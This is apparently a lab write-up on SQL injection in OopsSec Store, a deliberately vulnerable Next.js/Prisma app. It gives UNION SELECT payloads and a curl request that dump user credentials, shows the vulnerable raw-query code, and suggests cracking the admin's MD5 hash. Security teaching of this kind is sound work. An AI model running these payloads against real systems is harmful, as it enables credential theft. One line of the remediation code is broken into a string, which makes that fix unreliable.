Oopssec Store

Posted on Apr 28 • Originally published at koadt.github.io

The ORM Didn't Save You: SQL Injection in a Prisma Codebase

#webdev #nextjs #security #tutorial

This writeup walks through a SQL injection in the product search feature of the oss-oopssec-store, an intentionally vulnerable e-commerce app for learning web security.

The lab is built with Next.js and Prisma, so you might assume the ORM shields you from SQLi by default, and it mostly does, until someone reaches for $queryRawUnsafe and drops user input straight into a raw query.

That's exactly what happens here. The search input gets interpolated into the SQL string with no sanitization, so you can manipulate the query to pull data from other tables and grab the flag.

Lab setup
Feature overview and attack surface
Exploitation procedure
Vulnerable code analysis
Remediation

Lab setup

Spin up the lab locally:

npx create-oss-store oss-store
cd oss-store
npm run dev

Or with Docker (no Node.js required):

docker run -p 3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Feature overview and attack surface

The target here is the product search bar in the navigation header. It lets users search products by name or description, hitting this endpoint:

/api/products/search?q=<search_term>

On the backend, the q parameter gets interpolated directly into a SQL query. No escaping, no parameterization. Whatever you type becomes part of the SQL statement.

You can close the intended query context and tack on your own UNION SELECT.

Exploitation procedure

Initial behavior verification

Start by searching for something normal, like fresh. You should get product results back, confirming the endpoint works and actually uses the q parameter.

Injection probing

Now try this payload:

' UNION SELECT 1,2,3,4,5--

If the page renders without errors, you're in. The single quote broke out of the LIKE clause, and the UNION SELECT merged in.

UNION-based data extraction

Time to pull real data. Submit this:

DELIVERED' UNION SELECT id, email, password, role, addressId FROM users--

This merges the users table into the product results. The app doesn't check where the columns came from, so it happily returns user credentials alongside product listings.

Same thing via curl:

curl "http://localhost:3000/api/products/search?q=DELIVERED%27%20UNION%20SELECT%20id%2C%20email%2C%20password%2C%20role%2C%20addressId%20FROM%20users--"

Vulnerable code analysis

Here's the problem. The query is built with string concatenation:

const sqlQuery = `
  SELECT 
    id,
    name,
    description,
    price,
    "imageUrl"
  FROM products
  WHERE name LIKE '%${query}%' OR description LIKE '%${query}%'
  ORDER BY name ASC
  LIMIT 50
`;

const results = await prisma.$queryRawUnsafe(sqlQuery);

The query parameter is dropped directly into the SQL string, and $queryRawUnsafe does exactly what the name suggests — it skips Prisma’s parameterization entirely. No escaping either. Single quotes, comment delimiters, anything goes.

So when you send:

DELIVERED' UNION SELECT ...

the quote closes the LIKE clause, and everything after it runs as SQL. The database user can read other tables, so the users table comes back for free.

This is CWE-89: Improper Neutralization of Special Elements used in an SQL Command.

Remediation

Don't build SQL queries with string interpolation. Use Prisma's query builder instead:

const results = await prisma.product.findMany({
  where: {
    OR: [
      { name: { contains: query, mode: "insensitive" } },
      { description: "{ contains: query, mode: \"insensitive\" } },"
    ],
  },
});

User input stays data, never becomes executable SQL.

If you need raw SQL with Prisma, use $queryRaw (parameterized), not $queryRawUnsafe. With MySQL and no ORM, use prepared statements. You should also restrict the database user's permissions so that even if someone does find an injection, the damage is limited. Logging unusual query patterns helps too — you want to know when someone is poking at your search bar with UNION SELECT.

Go further

The leaked data includes an admin email with an MD5 password hash. MD5 is trivially crackable at this point, so you can try recovering the password offline and logging in as admin. From there, you'd have access to restricted endpoints where other flags might be hiding.

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

DEV Community